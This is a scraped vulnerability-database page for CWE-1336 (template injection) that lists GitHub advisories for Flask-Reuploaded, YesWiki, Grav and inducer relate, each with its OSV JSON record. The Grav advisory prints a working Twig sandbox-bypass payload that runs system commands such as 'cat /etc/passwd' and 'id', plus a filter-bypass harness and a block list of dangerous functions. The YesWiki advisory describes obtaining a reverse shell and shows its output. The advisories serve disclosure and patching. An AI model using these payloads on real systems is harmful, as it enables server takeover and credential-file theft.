CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
398 vulnerabilities reference this CWE, most recent first.
GHSA-65MP-FQ8V-56JR
Vulnerability from github – Published: 2026-02-25 19:06 – Updated: 2026-02-25 19:06Impact
A critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).
Patches
Flask-Reuploaded has been patched in version 1.5.0
Workarounds
- Do not pass user input to the
nameparameter - Use auto-generated filenames only
- Implement strict input validation if
namemust be used
from werkzeug.utils import secure_filename
import os
# Sanitize user input before passing to save()
safe_name = secure_filename(request.form.get('custom_name'))
# Remove path separators
safe_name = os.path.basename(safe_name)
# Validate extension matches policy
if not photos.extension_allowed(photos.get_extension(safe_name)):
abort(400)
filename = photos.save(file, name=safe_name)
Resources
The fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.
A proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flask-reuploaded"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27641"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T19:06:50Z",
"nvd_published_at": "2026-02-25T04:16:04Z",
"severity": "CRITICAL"
},
"details": "### Impact\nA critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).\n\n### Patches\nFlask-Reuploaded has been patched in version 1.5.0\n\n### Workarounds\n\n1. **Do not pass user input to the `name` parameter**\n2. Use auto-generated filenames only\n3. Implement strict input validation if `name` must be used\n\n```python\nfrom werkzeug.utils import secure_filename\nimport os\n\n# Sanitize user input before passing to save()\nsafe_name = secure_filename(request.form.get(\u0027custom_name\u0027))\n# Remove path separators\nsafe_name = os.path.basename(safe_name)\n# Validate extension matches policy\nif not photos.extension_allowed(photos.get_extension(safe_name)):\n abort(400)\n \nfilename = photos.save(file, name=safe_name)\n```\n\n### Resources\nThe fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.\n\nA proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.",
"id": "GHSA-65mp-fq8v-56jr",
"modified": "2026-02-25T19:06:50Z",
"published": "2026-02-25T19:06:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-65mp-fq8v-56jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27641"
},
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/pull/180"
},
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/commit/d64c6b2f71cb73734fc38baa0e3e156926361288"
},
{
"type": "PACKAGE",
"url": "https://github.com/jugmac00/flask-reuploaded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flask-Reuploaded vulnerable to Remote Code Execution via Server-Side Template Injection"
}
GHSA-65P8-9433-JPCP
Vulnerability from github – Published: 2026-07-09 20:54 – Updated: 2026-07-09 20:54Summary
YesWiki Bazar contains a stored Server-Side Template Injection (SSTI) vulnerability in the semantic template feature that can be escalated to confirmed Remote Code Execution (RCE). An authenticated administrator can place arbitrary Twig expressions into the Semantic template (Twig) field (bn_sem_template), and that content is later executed server-side when public semantic endpoints are requested.
This was first confirmed through a harmless proof payload where {{ 7 * 7 }} was rendered as 49 through the public JSON-LD endpoint. The finding was then further validated locally by storing a Twig payload that invoked a system-level callable, resulting in command execution and an interactive shell on the test machine.
Because the payload is stored in the form configuration and later triggered through a public endpoint, this issue is both persistent and remotely triggerable after an administrator plants the malicious template.
Details
The vulnerable behavior is in the Bazar semantic rendering flow.
The administrator-editable fields:
bn_sem_templatebn_sem_reverse_template
allow Twig template content to be stored inside a form definition. That content is later rendered by the backend semantic transformer through TemplateEngine::renderFromStringNoEscape(), which passes the user-controlled string into Twig for execution.
Relevant sink:
$json = $this->templateEngine->renderFromStringNoEscape($form['bn_sem_template'], $data);
The rendering helper evaluates the supplied string as a live Twig template:
public function renderFromStringNoEscape(string $templateString, array $data = []): string
{
$wrapped = '{% autoescape false %}' . $templateString . '{% endautoescape %}';
return $this->twig->createTemplate($wrapped)->render($data);
}
This is unsafe because administrator-controlled semantic template text is executed as server-side Twig code rather than treated as inert data. In the validated environment, Twig expressions were first confirmed to execute through a harmless arithmetic payload and were then escalated to operating-system-level command execution by invoking a callable through Twig.
The public trigger path used during validation was:
GET /api/forms/2/entries/json-ld
The attack chain is:
- An administrator stores malicious Twig code in the semantic template field.
- YesWiki saves that payload in the form configuration.
- A later request to the public semantic endpoint causes the backend to render and execute the stored Twig.
- Because the Twig environment is not adequately constrained, the stored payload can escalate from template execution to system command execution.
PoC
The following steps reproduce the issue on the locally validated YesWiki instance.
Stage 1: Confirm Server-Side Template Execution
- Log in to YesWiki as an administrator.
- Open Bazar form management.
- Edit form ID
2(Agendain the validated instance). - Locate the field labeled
Semantic template (Twig). - Replace its content with the following harmless payload:
{"proof":"{{ 7 * 7 }}"}
- Save the form.
- Trigger the public semantic endpoint:
curl -s 'https://target.example/?api/forms/2/entries/json-ld'
- Observe that the server returns evaluated Twig output instead of the literal string
{{ 7 * 7 }}.
Confirmed response:
{"@context":null,"@id":"https:\/\/target.example\/?api\/fiche\/2","@type":["ldp:Container","ldp:BasicContainer"],"dcterms:title":"Agenda","ldp:contains":[{"proof":"49","id":"https:\/\/target.example\/?TesT2"},{"proof":"49","id":"https:\/\/target.example\/?Bordeaux"}]}
Key execution proof:
"proof":"49"
Stage 2: Confirm Remote Code Execution
After confirming SSTI with the harmless payload above, a second locally controlled payload was stored in the same semantic template field to test whether Twig execution could be escalated to command execution. When the public semantic endpoint was requested, the payload executed on the server and established an interactive shell back to the test listener.
Observed local evidence included:
- an inbound connection to the attacker's listener
- an interactive shell prompt on the YesWiki host
- successful command execution from the shell inside the YesWiki project directory
Observed shell output:
Connection received on 172.31.60.19 60308
khizar@Victus:/mnt/c/Users/khiza/Documents/Codex/2026-05-24/i-am-trying-to-make-a/yeswiki-src$ ls
INSTALL.md
LICENSE
Makefile
README.md
SECURITY.md
actions
cache
codex-admin-login.php
composer.json
composer.lock
custom
docker
docs
files
formatters
handlers
includes
index.php
interwiki.conf
javascripts
lang
package.json
private
robots.txt
setup
styles
templates
tests
themes
tools
vendor
wakka.config.php
wakka.php
yeswicli
This confirms that the issue is not limited to template evaluation or data disclosure. In the validated local environment, the stored Twig payload reached full operating-system-level command execution.
Impact
An authenticated administrator can inject arbitrary Twig expressions into Bazar semantic templates, and those expressions are executed server-side when public semantic endpoints are requested.
In the validated environment, this leads to confirmed Remote Code Execution. An attacker with administrator access can:
- execute arbitrary Twig expressions on the server
- store a persistent payload in form configuration
- have that payload triggered later by unauthenticated requests to public semantic endpoints
- execute operating-system commands on the host
- gain interactive shell access to the underlying server
- pivot from application-level administration to full server compromise
This breaks the expected trust boundary between application administration and host-level execution. In practical terms, YesWiki administrator privileges become sufficient to obtain command execution on the server in affected deployments.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52762"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T20:54:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nYesWiki Bazar contains a stored Server-Side Template Injection (`SSTI`) vulnerability in the semantic template feature that can be escalated to confirmed Remote Code Execution (`RCE`). An authenticated administrator can place arbitrary Twig expressions into the `Semantic template (Twig)` field (`bn_sem_template`), and that content is later executed server-side when public semantic endpoints are requested.\n\nThis was first confirmed through a harmless proof payload where `{{ 7 * 7 }}` was rendered as `49` through the public JSON-LD endpoint. The finding was then further validated locally by storing a Twig payload that invoked a system-level callable, resulting in command execution and an interactive shell on the test machine.\n\nBecause the payload is stored in the form configuration and later triggered through a public endpoint, this issue is both persistent and remotely triggerable after an administrator plants the malicious template.\n\n### Details\nThe vulnerable behavior is in the Bazar semantic rendering flow.\n\nThe administrator-editable fields:\n\n- `bn_sem_template`\n- `bn_sem_reverse_template`\n\nallow Twig template content to be stored inside a form definition. That content is later rendered by the backend semantic transformer through `TemplateEngine::renderFromStringNoEscape()`, which passes the user-controlled string into Twig for execution.\n\nRelevant sink:\n\n```php\n$json = $this-\u003etemplateEngine-\u003erenderFromStringNoEscape($form[\u0027bn_sem_template\u0027], $data);\n```\n\nThe rendering helper evaluates the supplied string as a live Twig template:\n\n```php\npublic function renderFromStringNoEscape(string $templateString, array $data = []): string\n{\n $wrapped = \u0027{% autoescape false %}\u0027 . $templateString . \u0027{% endautoescape %}\u0027;\n return $this-\u003etwig-\u003ecreateTemplate($wrapped)-\u003erender($data);\n}\n```\n\nThis is unsafe because administrator-controlled semantic template text is executed as server-side Twig code rather than treated as inert data. In the validated environment, Twig expressions were first confirmed to execute through a harmless arithmetic payload and were then escalated to operating-system-level command execution by invoking a callable through Twig.\n\nThe public trigger path used during validation was:\n\n```text\nGET /api/forms/2/entries/json-ld\n```\n\nThe attack chain is:\n\n1. An administrator stores malicious Twig code in the semantic template field.\n2. YesWiki saves that payload in the form configuration.\n3. A later request to the public semantic endpoint causes the backend to render and execute the stored Twig.\n4. Because the Twig environment is not adequately constrained, the stored payload can escalate from template execution to system command execution.\n\n### PoC\nThe following steps reproduce the issue on the locally validated YesWiki instance.\n\n### Stage 1: Confirm Server-Side Template Execution\n\n1. Log in to YesWiki as an administrator.\n2. Open Bazar form management.\n3. Edit form ID `2` (`Agenda` in the validated instance).\n4. Locate the field labeled `Semantic template (Twig)`.\n5. Replace its content with the following harmless payload:\n\n```json\n{\"proof\":\"{{ 7 * 7 }}\"}\n```\n\n6. Save the form.\n7. Trigger the public semantic endpoint:\n\n```bash\ncurl -s \u0027https://target.example/?api/forms/2/entries/json-ld\u0027\n```\n\n8. Observe that the server returns evaluated Twig output instead of the literal string `{{ 7 * 7 }}`.\n\nConfirmed response:\n\n```json\n{\"@context\":null,\"@id\":\"https:\\/\\/target.example\\/?api\\/fiche\\/2\",\"@type\":[\"ldp:Container\",\"ldp:BasicContainer\"],\"dcterms:title\":\"Agenda\",\"ldp:contains\":[{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?TesT2\"},{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?Bordeaux\"}]}\n```\n\nKey execution proof:\n\n```json\n\"proof\":\"49\"\n```\n\n### Stage 2: Confirm Remote Code Execution\n\nAfter confirming SSTI with the harmless payload above, a second locally controlled payload was stored in the same semantic template field to test whether Twig execution could be escalated to command execution. When the public semantic endpoint was requested, the payload executed on the server and established an interactive shell back to the test listener.\n\nObserved local evidence included:\n\n- an inbound connection to the attacker\u0027s listener\n- an interactive shell prompt on the YesWiki host\n- successful command execution from the shell inside the YesWiki project directory\n\nObserved shell output:\n\n```text\nConnection received on 172.31.60.19 60308\nkhizar@Victus:/mnt/c/Users/khiza/Documents/Codex/2026-05-24/i-am-trying-to-make-a/yeswiki-src$ ls\nINSTALL.md\nLICENSE\nMakefile\nREADME.md\nSECURITY.md\nactions\ncache\ncodex-admin-login.php\ncomposer.json\ncomposer.lock\ncustom\ndocker\ndocs\nfiles\nformatters\nhandlers\nincludes\nindex.php\ninterwiki.conf\njavascripts\nlang\npackage.json\nprivate\nrobots.txt\nsetup\nstyles\ntemplates\ntests\nthemes\ntools\nvendor\nwakka.config.php\nwakka.php\nyeswicli\n```\n\nThis confirms that the issue is not limited to template evaluation or data disclosure. In the validated local environment, the stored Twig payload reached full operating-system-level command execution.\n\n### Impact\nAn authenticated administrator can inject arbitrary Twig expressions into Bazar semantic templates, and those expressions are executed server-side when public semantic endpoints are requested.\n\nIn the validated environment, this leads to confirmed Remote Code Execution. An attacker with administrator access can:\n\n- execute arbitrary Twig expressions on the server\n- store a persistent payload in form configuration\n- have that payload triggered later by unauthenticated requests to public semantic endpoints\n- execute operating-system commands on the host\n- gain interactive shell access to the underlying server\n- pivot from application-level administration to full server compromise\n\nThis breaks the expected trust boundary between application administration and host-level execution. In practical terms, YesWiki administrator privileges become sufficient to obtain command execution on the server in affected deployments.",
"id": "GHSA-65p8-9433-jpcp",
"modified": "2026-07-09T20:54:23Z",
"published": "2026-07-09T20:54:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-65p8-9433-jpcp"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/89462f1577a8a1fe7fcff75e77b5058a74d8047b"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "YesWiki: Authenticated (Admin) Server-Side Template Injection to Remote Code Execution via Bazar Semantic Templates"
}
GHSA-662M-56V4-3R8F
Vulnerability from github – Published: 2025-12-02 01:25 – Updated: 2025-12-02 01:25Summary
A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important
-
First of all this vulnerability is due to weak sanitization in the method
clearDangerousTwig, so any other class that calls it indirectly through for example$twig->processStringto sanitize code is also vulnerable. -
For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
-
I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed
- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.
- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through
evaluate_twig, a guest can takeover the system.
Details
When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
case 'message':
$translated_string = $this->grav['language']->translate($params);
$vars = array(
'form' => $form
);
/** @var Twig $twig */
$twig = $this->grav['twig'];
$processed_string = $twig->processString($translated_string, $vars);
$form->message = $processed_string;
break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization
- Second issue which is the
evaluateandevaluate_twigfunctions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
public static function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
// This allows for a payload like {{ evaluate("read_file('/etc/passwd')") }}
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
We can run the program with this payload:
php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages
- Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[_json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
Content of form:
title: Home
process:
markdown: true
twig: true
form:
name: test
fields:
name:
type: text
label: Name
required: true
buttons:
submit:
type: submit
value: submit
process:
-
message: '{{ evaluate_twig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the
evaluateandevaluate_twigfunctions. - We could add second check to
cleanDangerousTwigwhere we would look for each malicious function no matter it's position:
<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
foreach ($bad_twig as $func) {
$string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
}
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
When we run this, the result is:
evaluate_twig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}')
You can see we managed to stop the payload and filter out the malicious functions.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0-beta.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66294"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T01:25:16Z",
"nvd_published_at": "2025-12-01T21:15:52Z",
"severity": "HIGH"
},
"details": "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method.\n\n### Important\n- First of all this vulnerability is due to weak sanitization in the method `clearDangerousTwig`, so any other class that calls it indirectly through for example `$twig-\u003eprocessString` to sanitize code is also vulnerable.\n\n- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.\n\n- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.\n\n### Permissions Needed\n- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.\n- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through `evaluate_twig`, a guest can takeover the system.\n\n### Details\nWhen we make a form with a process section and a `message` action, when the form is submitted we get to deal with `onFormProcess` in `form.php` through the `message` case:\n\n```php\n case \u0027message\u0027:\n $translated_string = $this-\u003egrav[\u0027language\u0027]-\u003etranslate($params);\n $vars = array(\n \u0027form\u0027 =\u003e $form\n );\n\n /** @var Twig $twig */\n $twig = $this-\u003egrav[\u0027twig\u0027];\n $processed_string = $twig-\u003eprocessString($translated_string, $vars);\n\n $form-\u003emessage = $processed_string;\n break;\n```\n\nWhich takes our parameters as in our action values, like in our case the value of our `message` action and sends it to `processString` which then calls the method `cleanDangerousTwig` from `Security.php`, now here\u0027s where we find the vulnerability is caused by two things:\n\n- First of all is weak regex which doesn\u0027t account for nested function calls, which allows us to bypass this function\u0027s sanitization\n- Second issue which is the `evaluate` and `evaluate_twig` functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.\n\n```php\n public static function cleanDangerousTwig(string $string): string\n {\n if ($string === \u0027\u0027) {\n return $string;\n }\n\n $bad_twig = [\n \u0027twig_array_map\u0027,\n \u0027twig_array_filter\u0027,\n \u0027call_user_func\u0027,\n \u0027registerUndefinedFunctionCallback\u0027,\n \u0027undefined_functions\u0027,\n \u0027twig.getFunction\u0027,\n \u0027core.setEscaper\u0027,\n \u0027twig.safe_functions\u0027,\n \u0027read_file\u0027,\n ];\n \n // This allows for a payload like {{ evaluate(\"read_file(\u0027/etc/passwd\u0027)\") }}\n $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n return $string;\n }\n```\n\n### PoC\n\nFirst to showcase how the function handles the payload, I built a small php program that replicates the behavior of `cleanDangerousTwig`:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === \u0027\u0027) {\n return $string;\n }\n\n $bad_twig = [\n \u0027twig_array_map\u0027,\n \u0027twig_array_filter\u0027,\n \u0027call_user_func\u0027,\n \u0027registerUndefinedFunctionCallback\u0027,\n \u0027undefined_functions\u0027,\n \u0027twig.getFunction\u0027,\n \u0027core.setEscaper\u0027,\n \u0027twig.safe_functions\u0027,\n \u0027read_file\u0027,\n ];\n $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWe can run the program with this payload:\n\n```bash\nphp ok.php \"{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }}\"\n```\n\nOur payload goes through and not one malicious function is filtered:\n\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} #} {# {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\n\nNow we know that our payload definitely works so let\u0027s try it through a custom form this time, as an editor:\n\n- Go to pages\n- Add a page and create a new form or choose an exiting one\n\nWe will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form\u0027s action sections without being in expert mode ( please refer to [it\u0027s report](https://github.com/getgrav/grav/security/advisories/GHSA-v8x2-fjv7-8hjh) ), so when we go to our form and save it, we can intercept the request and inject the following payload into `data[_json][header][form]` which is the header for our form which we shouldn\u0027t normally be able to modify:\n\n```\n{\"name\":\"ssti-test 2\",\"fields\":{\"name\":{\"type\":\"text\",\"label\":\"Name\",\"required\":true}},\"buttons\":{\"submit\":{\"type\":\"submit\",\"value\":\"Submit\"}},\"process\":[]}\n```\n\nURL-encode it before sending it should look something like this:\n\n\n\n\n\nRequest sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:\n\n\n\nContent of form:\n\n```\ntitle: Home\nprocess:\n markdown: true\n twig: true\nform:\n name: test\n fields:\n name:\n type: text\n label: Name\n required: true\n buttons:\n submit:\n type: submit\n value: submit\n process:\n -\n message: \u0027{{ evaluate_twig(form.value(\u0027\u0027name\u0027\u0027)) }}\u0027\n```\n\nNow in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command `id` on the system:\n\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027id\u0027) }}\n```\n\nNow we can visit the page and input our payload, submit and we got command result:\n\n\n\n\n### Impact\n\nAllows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.\n\n### Recommended Fix\n\n- Blacklist both the `evaluate` and `evaluate_twig` functions.\n- We could add second check to `cleanDangerousTwig` where we would look for each malicious function no matter it\u0027s position:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === \u0027\u0027) {\n return $string;\n }\n\n $bad_twig = [\n \u0027twig_array_map\u0027,\n \u0027twig_array_filter\u0027,\n \u0027call_user_func\u0027,\n \u0027registerUndefinedFunctionCallback\u0027,\n \u0027undefined_functions\u0027,\n \u0027twig.getFunction\u0027,\n \u0027core.setEscaper\u0027,\n \u0027twig.safe_functions\u0027,\n \u0027read_file\u0027,\n ];\n $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n foreach ($bad_twig as $func) {\n $string = preg_replace(\u0027/\\b\u0027 . preg_quote($func, \u0027/\u0027) . \u0027(\\s*\\([^)]*\\))?\\b/i\u0027, \u0027{# $1 #}\u0027, $string);\n }\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWhen we run this, the result is:\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.{# #}(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.{# #}\u0027,false) %} #} {# {{ grav.twig.{# #}(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\nYou can see we managed to stop the payload and filter out the malicious functions.",
"id": "GHSA-662m-56v4-3r8f",
"modified": "2025-12-02T01:25:16Z",
"published": "2025-12-02T01:25:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-662m-56v4-3r8f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66294"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass"
}
GHSA-66C8-9R5R-35HF
Vulnerability from github – Published: 2024-04-22 21:31 – Updated: 2024-07-03 18:36An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.
{
"affected": [],
"aliases": [
"CVE-2024-32407"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-22T19:15:46Z",
"severity": "HIGH"
},
"details": "An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.",
"id": "GHSA-66c8-9r5r-35hf",
"modified": "2024-07-03T18:36:31Z",
"published": "2024-04-22T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32407"
},
{
"type": "WEB",
"url": "https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2024040049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6956-F2GQ-2C74
